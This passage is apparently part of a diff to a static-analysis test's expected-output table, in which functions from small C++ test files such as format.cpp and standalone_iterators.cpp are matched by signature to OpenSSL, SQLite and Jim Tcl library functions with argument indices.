*,size_t,const char *,va_list) | | BIO_vsnprintf | 2 | +| format.cpp:14:5:14:13 | vsnprintf | (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (const OSSL_NAMEMAP *,int,..(*)(..),void *) | | ossl_namemap_doall_names | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (int,char *,const char *,va_list) | | sqlite3_vsnprintf | 2 | +| format.cpp:14:5:14:13 | vsnprintf | (int,char *,const char *,va_list) | | sqlite3_vsnprintf | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (int,int,const char *,va_list) | | ERR_vset_error | 2 | +| format.cpp:14:5:14:13 | vsnprintf | (int,int,const char *,va_list) | | ERR_vset_error | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (int,unsigned long,..(*)(..),void *) | | RSA_generate_key | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_recover_init_sql | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_rtree_geometry_callback | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (sqlite3 *,const char *,const sqlite3_module *,void *) | | sqlite3_create_module | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (sqlite3 *,int,..(*)(..),void *) | | sqlite3_progress_handler | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (sqlite3 *,unsigned int,..(*)(..),void *) | | sqlite3_trace_v2 | 3 | +| format.cpp:16:5:16:13 | mysprintf | (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 2 | +| format.cpp:16:5:16:13 | mysprintf | (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 3 | +| format.cpp:16:5:16:13 | mysprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 0 | +| format.cpp:16:5:16:13 | mysprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 1 | +| format.cpp:16:5:16:13 | mysprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 2 | +| format.cpp:16:5:16:13 | mysprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 3 | +| format.cpp:16:5:16:13 | mysprintf | (int,char *,const char *,...) | | sqlite3_snprintf | 2 | +| format.cpp:16:5:16:13 | mysprintf | (int,char *,const char *,...) | | sqlite3_snprintf | 3 | +| format.cpp:28:5:28:10 | sscanf | (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 1 | +| format.cpp:28:5:28:10 | sscanf | (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 2 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | BIO_gethostbyname | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | Jim_StrDup | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | OPENSSL_LH_strhash | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | Strsafe | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | Symbol_new | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | UI_create_method | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | X509V3_parse_list | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | X509_LOOKUP_meth_new | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | a2i_IPADDRESS | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | a2i_IPADDRESS_NC | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | new_pkcs12_builder | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | opt_path_end | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | opt_progname | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | ossl_lh_strcasehash | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | strhash | 0 | +| map.cpp:8:6:8:9 | sink | (char *) | | SRP_VBASE_new | 0 | +| map.cpp:8:6:8:9 | sink | (char *) | | defossilize | 0 | +| map.cpp:8:6:8:9 | sink | (char *) | | make_uppercase | 0 | +| map.cpp:8:6:8:9 | sink | (char *) | | next_item | 0 | | map.cpp:8:6:8:9 | sink | (char *) | CStringT | CStringT | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | BIO_gethostbyname | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | Jim_StrDup | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | OPENSSL_LH_strhash | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | Strsafe | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | Symbol_new | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | UI_create_method | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | X509V3_parse_list | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | X509_LOOKUP_meth_new | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | a2i_IPADDRESS | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | a2i_IPADDRESS_NC | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | new_pkcs12_builder | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | opt_path_end | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | opt_progname | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | ossl_lh_strcasehash | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | strhash | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ASN1_STRING_type_new | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ASN1_tag2bit | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ASN1_tag2str | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | EVP_PKEY_asn1_get0 | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | Jim_ReturnCode | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | Jim_SignalId | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | OBJ_nid2ln | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | OBJ_nid2obj | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | OBJ_nid2sn | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | OSSL_STORE_INFO_type_string | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | OSSL_trace_get_category_name | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | PKCS12_init | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | Symbol_Nth | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | X509_PURPOSE_get0 | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | X509_PURPOSE_get_by_id | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | X509_TRUST_get0 | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | X509_TRUST_get_by_id | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | evp_pkey_type2name | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ossl_cmp_bodytype_to_string | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ossl_tolower | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ossl_toupper | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | pulldown_test_framework | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | sqlite3_compileoption_get | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | sqlite3_errstr | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | tls1_alert_code | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | tls13_alert_code | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | wait_until_sock_readable | 0 | +| set.cpp:8:6:8:9 | sink | (char *) | | SRP_VBASE_new | 0 | +| set.cpp:8:6:8:9 | sink | (char *) | | defossilize | 0 | +| set.cpp:8:6:8:9 | sink | (char *) | | make_uppercase | 0 | +| set.cpp:8:6:8:9 | sink | (char *) | | next_item | 0 | | set.cpp:8:6:8:9 | sink | (char *) | CStringT | CStringT | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | ASN1_STRING_type_new | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | ASN1_tag2bit | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | ASN1_tag2str | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | EVP_PKEY_asn1_get0 | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | Jim_ReturnCode | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | Jim_SignalId | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | OBJ_nid2ln | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | OBJ_nid2obj | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | OBJ_nid2sn | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | OSSL_STORE_INFO_type_string | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | OSSL_trace_get_category_name | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | PKCS12_init | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | Symbol_Nth | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | X509_PURPOSE_get0 | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | X509_PURPOSE_get_by_id | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | X509_TRUST_get0 | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | X509_TRUST_get_by_id | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | evp_pkey_type2name | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | ossl_tolower | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | ossl_toupper | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | pulldown_test_framework | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | sqlite3_compileoption_get | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | sqlite3_errstr | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | tls1_alert_code | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | tls13_alert_code | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | wait_until_sock_readable | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | pulldown_test_framework | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | tls1_alert_code | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | wait_until_sock_readable | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | pulldown_test_framework | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | tls1_alert_code | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | wait_until_sock_readable | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | pulldown_test_framework | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | tls1_alert_code | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | wait_until_sock_readable | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | pulldown_test_framework | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | tls1_alert_code | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | wait_until_sock_readable | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | pulldown_test_framework | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | tls1_alert_code | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | wait_until_sock_readable | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | pulldown_test_framework | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | tls1_alert_code | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | wait_until_sock_readable | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | 